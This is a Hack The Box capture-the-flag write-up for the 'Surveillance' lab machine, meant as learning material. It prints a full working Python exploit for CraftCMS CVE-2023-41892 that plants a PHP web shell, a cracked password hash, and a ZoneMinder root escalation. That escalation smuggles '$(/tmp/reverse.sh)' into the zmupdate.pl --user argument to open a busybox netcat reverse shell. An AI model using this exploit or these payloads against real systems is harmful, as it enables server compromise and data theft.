Hack The Box - Surveillance
Surveillance was a complex and challenging box that required multiple exploitation techniques, including leveraging vulnerabilities in CraftCMS and ZoneMinder, along with performing lateral movement and privilege escalation.
Diagram
graph TD
A[Information Gathering] -->|Port Scan| B[Enumeration]
B --> C[HTTP 80]
C --> D[CraftCMS Exploitation]
D --> E[Lateral Movement]
E --> F[Identify User Matthew]
F --> G[Crack User Credentials]
G --> H[Privilege Escalation]
H --> I[ZoneMinder Exploitation]
I --> J[Root Shell]
Information Gathering
Portscan
sudo hping3 -S --scan known 10.10.11.245
sudo hping3 -S --scan 1-65535 10.10.11.245
nmap -sVC -Pn -p 22,80 10.10.11.245 -n -T4
Enumeration
HTTP 80
When trying to access http://10.10.11.245 it redirects to http://surveillance.htb/, so we need to configure this in our DNS file
Let’s enumerate subdomains first
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u http://surveillance.htb -H "Host: FUZZ.surveillance.htb" -mc 200
At the end of the main page, it is possible to see that they use CraftCMS version 4.4.14
view-source
Exploitation
CraftCMS 4.4.14
Searching for vulnerabilities in the CraftCMS version, a possible RCE was found
CVE-2023-41892
Searching for a PoC, the following page was found
https://gist.github.com/gmh5225/8fad5f02c2cf0334249614eb80cbf4ce
Some code changes were necessary
cve-2023-41892.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90
import requests import re import sys headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.88 Safari/537.36" } def writePayloadToTempFile(documentRoot): data = { "action": "conditions/render", "configObject[class]": "craft\\elements\\conditions\\ElementCondition", "config": '{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"msl:/etc/passwd"}}}' } files = { "image1": ("pwn1.msl", """<?xml version="1.0" encoding="UTF-8"?> <image> <read filename="caption:<?php @System(@$_REQUEST['cmd']); ?>"/> <write filename="info:DOCUMENTROOT/cpresources/shell.php"> </image>""".replace("DOCUMENTROOT", documentRoot), "text/plain") } response = requests.post(url, headers=headers, data=data, files=files) def getTmpUploadDirAndDocumentRoot(): data = { "action": "conditions/render", "configObject[class]": "craft\\elements\\conditions\\ElementCondition", "config": r'{"name":"configObject","as ":{"class":"\\GuzzleHttp\\Psr7\\FnStream", "__construct()":{"methods":{"close":"phpinfo"}}}}' } response = requests.post(url, headers=headers, data=data) pattern1 = r'<tr><td class="e">upload_tmp_dir<\/td><td class="v">(.*?)<\/td><td class="v">(.*?)<\/td><\/tr>' pattern2 = r'<tr><td class="e">\$_SERVER\[\'DOCUMENT_ROOT\'\]<\/td><td class="v">([^<]+)<\/td><\/tr>' match1 = re.search(pattern1, response.text, re.DOTALL) match2 = re.search(pattern2, response.text, re.DOTALL) if match1 and match2: return match1.group(1), match2.group(1) else: print("Error: Could not find upload_tmp_dir or DOCUMENT_ROOT in the response.") return None, None def trigerImagick(tmpDir): data = { "action": "conditions/render", "configObject[class]": "craft\\elements\\conditions\\ElementCondition", "config": '{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"vid:msl:' + tmpDir + r'/php*"}}}' } response = requests.post(url, headers=headers, data=data) def shell(cmd): response = requests.get(url + "/cpresources/shell.php", params={"cmd": cmd}) match = re.search(r'caption:(.*?)CAPTION', response.text, re.DOTALL) if match: extracted_text = match.group(1).strip() print(extracted_text) else: return None return extracted_text if __name__ == "__main__": if(len(sys.argv) != 2): print("Usage: python CVE-2023-41892.py <url>") exit() else: url = sys.argv[1] print("[-] Get temporary folder and document root ...") upload_tmp_dir, documentRoot = getTmpUploadDirAndDocumentRoot() tmpDir = "/tmp" if "no value" in upload_tmp_dir else upload_tmp_dir print("[-] Write payload to temporary file ...") try: writePayloadToTempFile(documentRoot) except requests.exceptions.ConnectionError as e: print("[-] Crash the php process and write temp file successfully") print("[-] Trigger imagick to write shell ...") try: trigerImagick(tmpDir) except: pass print("[-] Done, enjoy the shell") while True: cmd = input("$ ") shell(cmd)
python CVE-2023-41892.py http://surveillance.htb
Lateral Moviment
After entering the machine with www-data I tried to run some commands, but nothing was effective as it was limited.
Then I ran lastlog
to check which users are active.
It is possible to see that there is a user Matthew who logged in last time. Searching for backup files
find / -name "*.*bak*" -or -name "*.backup*" 2>/dev/null
I found a folder ~/html/craft/storage/backups
Transferred the file via netcat.
1
2
nc -lvnp 3340 < surveillance--2023-10-17-202801--v4.4.14.sql.zip
nc 10.10.11.245 3340 > surveillance--2023-10-17-202801--v4.4.14.sql.zip
surveillance--2023-10-17-202801--v4.4.14.sql
→ It is possible to see that it adds a user matthew in the SQL1
INSERT INTO `users` VALUES (1,NULL,1,0,0,0,1,'admin','Matthew B','Matthew','B','admin@surveillance.htb','39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec','2023-10-17 20:22:34',NULL,NULL,NULL,'2023-10-11 18:58:57',NULL,1,NULL,NULL,NULL,0,'2023-10-17 20:27:46','2023-10-11 17:57:16','2023-10-17 20:27:46');
cracking the hash on crackstation.net → starcraft122490
Great, now switching to user matthew
Priv Escalation
ZoneMinder 1.36.32
Now running linpeas.
ZoneMinder is a free, open-source software application for monitoring via closed-circuit television - developed to run under Linux and FreeBSD and released under the terms of the GNU General Public License (GPL). Users control ZoneMinder via a web-based interface.
Checking the version of ZoneMinder, I noticed it was v1.36.32.
From there, viewing the information on Metasploit, it is possible to see that it is vulnerable
To use this module, I will have to do a manual port forwarding.
Accessing via web on port 2222.
None of the previous creds worked. So, I decided to run the module in Metasploit.
The current user can execute any Perl script located in /usr/bin/
that starts with zm
and is followed by any combination of letters from a
a z
(uppercase or lowercase), without needing a sudo password.
Checking the Perl files that the user has access to
Observing the update file
It is a script intended to check and update the ZoneMinder database. It basically needs a password to run. I can try to send a command with the password obtained by linpeas.
Payload
1 2
#!/bin/bash busybox nc 10.10.16.4 5580 -e sh
sudo /usr/bin/zmupdate.pl --version=1 --user='$(/tmp/reverse.sh)' --pass=ZoneMinderPassword2023
Checking on netcat
We got the shell with root.